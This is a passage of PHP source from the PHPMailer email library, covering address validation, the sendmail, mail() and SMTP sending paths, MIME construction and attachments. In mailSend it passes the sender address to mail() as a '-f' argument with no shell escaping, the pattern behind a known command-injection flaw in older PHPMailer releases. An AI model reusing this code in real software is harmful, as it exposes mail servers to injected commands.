'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
public function preSend()
{
try {
$this->mailHeader = '';
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
}
// Set whether the message is multipart/alternative
if (!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->error_count = 0; // reset errors
$this->setMessageType();
// Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
}
$this->MIMEHeader = $this->createHeader();
$this->MIMEBody = $this->createBody();
if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->addrAppend('To', $this->to);
} else {
$this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader(trim($this->Subject)))
);
}
// Sign with DKIM if enabled
if (!empty($this->DKIM_domain)
&& !empty($this->DKIM_private)
&& !empty($this->DKIM_selector)
&& file_exists($this->DKIM_private)) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader . $this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
}
return true;
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
public function postSend()
{
try {
// Choose the mailer and send through it
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this, $sendMethod)) {
return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
protected function sendmailSend($header, $body)
{
if ($this->Sender != '') {
if ($this->Mailer == 'qmail') {
$sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
}
} else {
if ($this->Mailer == 'qmail') {
$sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
} else {
$sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
}
}
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, 'To: ' . $toAddr . "\n");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
array($toAddr),
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
if (!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
$this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
if (empty($this->Sender)) {
$params = ' ';
} else {
$params = sprintf('-f%s', $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo && count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP;
}
return $this->smtp;
}
protected function smtpSend($header, $body)
{
$bad_rcpt = array();
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
if ('' == $this->Sender) {
$smtp_from = $this->From;
} else {
$smtp_from = $this->Sender;
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0])) {
$error = $this->smtp->getError();
$bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
$isSent = false;
} else {
$isSent = true;
}
$this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
}
}
if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
}
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
} else {
$this->smtp->quit();
$this->smtp->close();
}
if (count($bad_rcpt) > 0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] . ': ' . $bad['error'];
}
throw new phpmailerException(
$this->lang('recipients_failed') . $errstr,
self::STOP_CONTINUE
);
}
return true;
}
public function smtpConnect($options = array())
{
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();
}
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$hosts = explode(';', $this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
continue;
}
$prefix = '';
$secure = $this->SMTPSecure;
$tls = ($this->SMTPSecure == 'tls');
if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false; // Can't have SSL and TLS at the same time
$secure = 'ssl';
} elseif ($hostinfo[2] == 'tls') {
$tls = true;
$secure = 'tls';
}
$sslext = defined('OPENSSL_ALGO_SHA1');
if ('tls' === $secure or 'ssl' === $secure) {
if (!$sslext) {
throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
}
}
$host = $hostinfo[3];
$port = $this->Port;
$tport = (integer)$hostinfo[4];
if ($tport > 0 and $tport < 65536) {
$port = $tport;
}
if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
} else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
throw new phpmailerException($this->lang('connect_host'));
}
$this->smtp->hello($hello);
}
if ($this->SMTPAuth) {
if (!$this->smtp->authenticate(
$this->Username,
$this->Password,
$this->AuthType,
$this->Realm,
$this->Workstation
)
) {
throw new phpmailerException($this->lang('authenticate'));
}
}
return true;
} catch (phpmailerException $exc) {
$lastexception = $exc;
$this->edebug($exc->getMessage());
$this->smtp->quit();
}
}
}
$this->smtp->close();
if ($this->exceptions and !is_null($lastexception)) {
throw $lastexception;
}
return false;
}
public function smtpClose()
{
if ($this->smtp !== null) {
if ($this->smtp->connected()) {
$this->smtp->quit();
$this->smtp->close();
}
}
}
public function setLanguage($langcode = 'en', $lang_path = '')
{
// Define full set of translatable strings in English
$PHPMAILER_LANG = array(
'authenticate' => 'SMTP Error: Could not authenticate.',
'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
'data_not_accepted' => 'SMTP Error: data not accepted.',
'empty_message' => 'Message body empty',
'encoding' => 'Unknown encoding: ',
'execute' => 'Could not execute: ',
'file_access' => 'Could not access file: ',
'file_open' => 'File Error: Could not open file: ',
'from_failed' => 'The following From address failed: ',
'instantiate' => 'Could not instantiate mail function.',
'invalid_address' => 'Invalid address',
'mailer_not_supported' => ' mailer is not supported.',
'provide_address' => 'You must provide at least one recipient email address.',
'recipients_failed' => 'SMTP Error: The following recipients failed: ',
'signing' => 'Signing Error: ',
'smtp_connect_failed' => 'SMTP connect() failed.',
'smtp_error' => 'SMTP server error: ',
'variable_set' => 'Cannot set or reset variable: '
);
if (empty($lang_path)) {
// Calculate an absolute path so it can work if CWD is not here
$lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
}
$foundlang = true;
$lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
if ($langcode != 'en') { // There is no English translation file
// Make sure language file path is readable
if (!is_readable($lang_file)) {
$foundlang = false;
} else {
$foundlang = include $lang_file;
}
}
$this->language = $PHPMAILER_LANG;
return (boolean)$foundlang; // Returns false if language not found
}
public function getTranslations()
{
return $this->language;
}
public function addrAppend($type, $addr)
{
$addresses = array();
foreach ($addr as $address) {
$addresses[] = $this->addrFormat($address);
}
return $type . ': ' . implode(', ', $addresses) . $this->LE;
}
public function addrFormat($addr)
{
if (empty($addr[1])) { // No name provided
return $this->secureHeader($addr[0]);
} else {
return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
$addr[0]
) . '>';
}
}
public function wrapText($message, $length, $qp_mode = false)
{
$soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
$is_utf8 = (strtolower($this->CharSet) == 'utf-8');
$lelen = strlen($this->LE);
$crlflen = strlen(self::CRLF);
$message = $this->fixEOL($message);
if (substr($message, -$lelen) == $this->LE) {
$message = substr($message, 0, -$lelen);
}
$line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
$message = '';
for ($i = 0; $i < count($line); $i++) {
$line_part = explode(' ', $line[$i]);
$buf = '';
for ($e = 0; $e < count($line_part); $e++) {
$word = $line_part[$e];
if ($qp_mode and (strlen($word) > $length)) {
$space_left = $length - strlen($buf) - $crlflen;
if ($e != 0) {
if ($space_left > 20) {
$len = $space_left;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
$buf .= ' ' . $part;
$message .= $buf . sprintf('=%s', self::CRLF);
} else {
$message .= $buf . $soft_break;
}
$buf = '';
}
while (strlen($word) > 0) {
if ($length <= 0) {
break;
}
$len = $length;
if ($is_utf8) {
$len = $this->utf8CharBoundary($word, $len);
} elseif (substr($word, $len - 1, 1) == '=') {
$len--;
} elseif (substr($word, $len - 2, 1) == '=') {
$len -= 2;
}
$part = substr($word, 0, $len);
$word = substr($word, $len);
if (strlen($word) > 0) {
$message .= $part . sprintf('=%s', self::CRLF);
} else {
$buf = $part;
}
}
} else {
$buf_o = $buf;
$buf .= ($e == 0) ? $word : (' ' . $word);
if (strlen($buf) > $length and $buf_o != '') {
$message .= $buf_o . $soft_break;
$buf = $word;
}
}
}
$message .= $buf . self::CRLF;
}
return $message;
}
public function utf8CharBoundary($encodedText, $maxLength)
{
$foundSplitPos = false;
$lookBack = 3;
while (!$foundSplitPos) {
$lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
$encodedCharPos = strpos($lastChunk, '=');
if (false !== $encodedCharPos) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
$hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
$dec = hexdec($hex);
if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
$maxLength = ($encodedCharPos == 0) ? $maxLength :
$maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
$maxLength = $maxLength - ($lookBack - $encodedCharPos);
$foundSplitPos = true;
} elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
$lookBack += 3;
}
} else {
// No encoded character found
$foundSplitPos = true;
}
}
return $maxLength;
}
public function setWordWrap()
{
if ($this->WordWrap < 1) {
return;
}
switch ($this->message_type) {
case 'alt':
case 'alt_inline':
case 'alt_attach':
case 'alt_inline_attach':
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
break;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
break;
}
}
public function createHeader()
{
$result = '';
// Set the boundaries
$uniq_id = md5(uniqid(time()));
$this->boundary[1] = 'b1_' . $uniq_id;
$this->boundary[2] = 'b2_' . $uniq_id;
$this->boundary[3] = 'b3_' . $uniq_id;
if ($this->MessageDate == '') {
$this->MessageDate = self::rfcDate();
}
$result .= $this->headerLine('Date', $this->MessageDate);
// To be created automatically by mail()
if ($this->SingleTo) {
if ($this->Mailer != 'mail') {
foreach ($this->to as $toaddr) {
$this->SingleToArray[] = $this->addrFormat($toaddr);
}
}
} else {
if (count($this->to) > 0) {
if ($this->Mailer != 'mail') {
$result .= $this->addrAppend('To', $this->to);
}
} elseif (count($this->cc) == 0) {
$result .= $this->headerLine('To', 'undisclosed-recipients:;');
}
}
$result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
// sendmail and mail() extract Cc from the header before sending
if (count($this->cc) > 0) {
$result .= $this->addrAppend('Cc', $this->cc);
}
// sendmail and mail() extract Bcc from the header before sending
if ((
$this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
)
and count($this->bcc) > 0
) {
$result .= $this->addrAppend('Bcc', $this->bcc);
}
if (count($this->ReplyTo) > 0) {
$result .= $this->addrAppend('Reply-To', $this->ReplyTo);
}
// mail() sets the subject itself
if ($this->Mailer != 'mail') {
$result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
}
if ($this->MessageID != '') {
$this->lastMessageID = $this->MessageID;
} else {
$this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
}
$result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
$result .= $this->headerLine('X-Priority', $this->Priority);
if ($this->XMailer == '') {
} else {
$myXmailer = trim($this->XMailer);
if ($myXmailer) {
$result .= $this->headerLine('X-Mailer', $myXmailer);
}
}
if ($this->ConfirmReadingTo != '') {
$result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
}
// Add custom headers
for ($index = 0; $index < count($this->CustomHeader); $index++) {
$result .= $this->headerLine(
trim($this->CustomHeader[$index][0]),
$this->encodeHeader(trim($this->CustomHeader[$index][1]))
);
}
if (!$this->sign_key_file) {
$result .= $this->headerLine('MIME-Version', '1.0');
$result .= $this->getMailMIME();
}
return $result;
}
public function getMailMIME()
{
$result = '';
$ismultipart = true;
switch ($this->message_type) {
case 'inline':
$result .= $this->headerLine('Content-Type', 'multipart/related;');
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
break;
case 'attach':
case 'inline_attach':
case 'alt_attach':
case 'alt_inline_attach':
$result .= $this->headerLine('Content-Type', 'multipart/mixed;');
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
break;
case 'alt':
case 'alt_inline':
$result .= $this->headerLine('Content-Type', 'multipart/alternative;');
$result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
break;
default:
// Catches case 'plain': and case '':
$result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
$ismultipart = false;
break;
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($this->Encoding != '7bit') {
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
if ($ismultipart) {
if ($this->Encoding == '8bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
}
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
} else {
$result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
}
}
if ($this->Mailer != 'mail') {
$result .= $this->LE;
}
return $result;
}
public function getSentMIMEMessage()
{
return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
}
public function createBody()
{
$body = '';
if ($this->sign_key_file) {
$body .= $this->getMailMIME() . $this->LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
$bodyEncoding = '7bit';
$bodyCharSet = 'us-ascii';
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = '7bit';
$altBodyCharSet = 'us-ascii';
}
switch ($this->message_type) {
case 'inline':
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
if (!empty($this->Ical)) {
$body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
$body .= $this->encodeString($this->Ical, $this->Encoding);
$body .= $this->LE . $this->LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[2]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
default:
// catch case 'plain' and case ''
$body .= $this->encodeString($this->Body, $bodyEncoding);
break;
}
if ($this->isError()) {
$body = '';
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
}
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
$file = tempnam(sys_get_temp_dir(), 'mail');
if (false === file_put_contents($file, $body)) {
throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
}
$signed = tempnam(sys_get_temp_dir(), 'signed');
if (@openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null
)
) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
} else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->lang('signing') . openssl_error_string());
}
} catch (phpmailerException $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
protected function getBoundary($boundary, $charSet, $contentType, $encoding)
{
$result = '';
if ($charSet == '') {
$charSet = $this->CharSet;
}
if ($contentType == '') {
$contentType = $this->ContentType;
}
if ($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--' . $boundary);
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
$result .= $this->LE;
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
}
$result .= $this->LE;
return $result;
}
protected function endBoundary($boundary)
{
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
protected function setMessageType()
{
$type = array();
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_', $type);
if ($this->message_type == '') {
$this->message_type = 'plain';
}
}
public function headerLine($name, $value)
{
return $name . ': ' . $value . $this->LE;
}
public function textLine($value)
{
return $value . $this->LE;
}
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
{
try {
if (!@is_file($path)) {
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => 0
);
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
public function getAttachments()
{
return $this->attachment;
}
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();
// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ($disposition == 'inline' && isset($cidUniq[$cid])) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s', $boundary, $this->LE);
$mime[] = sprintf(
'Content-Type: %s; name="%s"%s',
$type,
$this->encodeHeader($this->secureHeader($name)),
$this->LE
);
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
}
if ($disposition == 'inline') {
$mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
}
// If a filename contains any of these chars, it should be quoted,
// but not otherwise: RFC2183 & RFC2045 5.1
// Fixes a warning in IETF's msglint MIME checker
// Allow for bypassing the Content-Disposition header totally
if (!(empty($disposition))) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename="%s"%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
}
} else {
$mime[] = $this->LE;
}
// Encode as string attachment
if ($bString) {
$mime[] = $this->encodeString($string, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
} else {
$mime[] = $this->encodeFile($path, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
}
}
}
$mime[] = sprintf('--%s--%s', $boundary, $this->LE);
return implode('', $mime);
}
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!is_readable($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = get_magic_quotes_runtime();
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
ini_set('magic_quotes_runtime', 0);
}
}
